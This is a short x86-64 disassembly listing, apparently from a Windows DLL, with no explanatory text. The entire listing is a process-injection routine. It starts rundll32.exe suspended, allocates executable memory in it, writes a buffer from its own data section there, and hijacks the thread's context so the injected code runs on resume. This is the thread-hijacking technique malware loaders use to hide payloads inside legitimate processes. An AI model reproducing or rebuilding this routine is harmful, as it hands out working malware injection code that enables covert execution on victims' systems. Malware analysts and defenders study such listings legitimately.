mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
je 0x180001202
mov dword [rsp + 0x120], 0x100003
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
lea r8, section..data
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0xf0]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]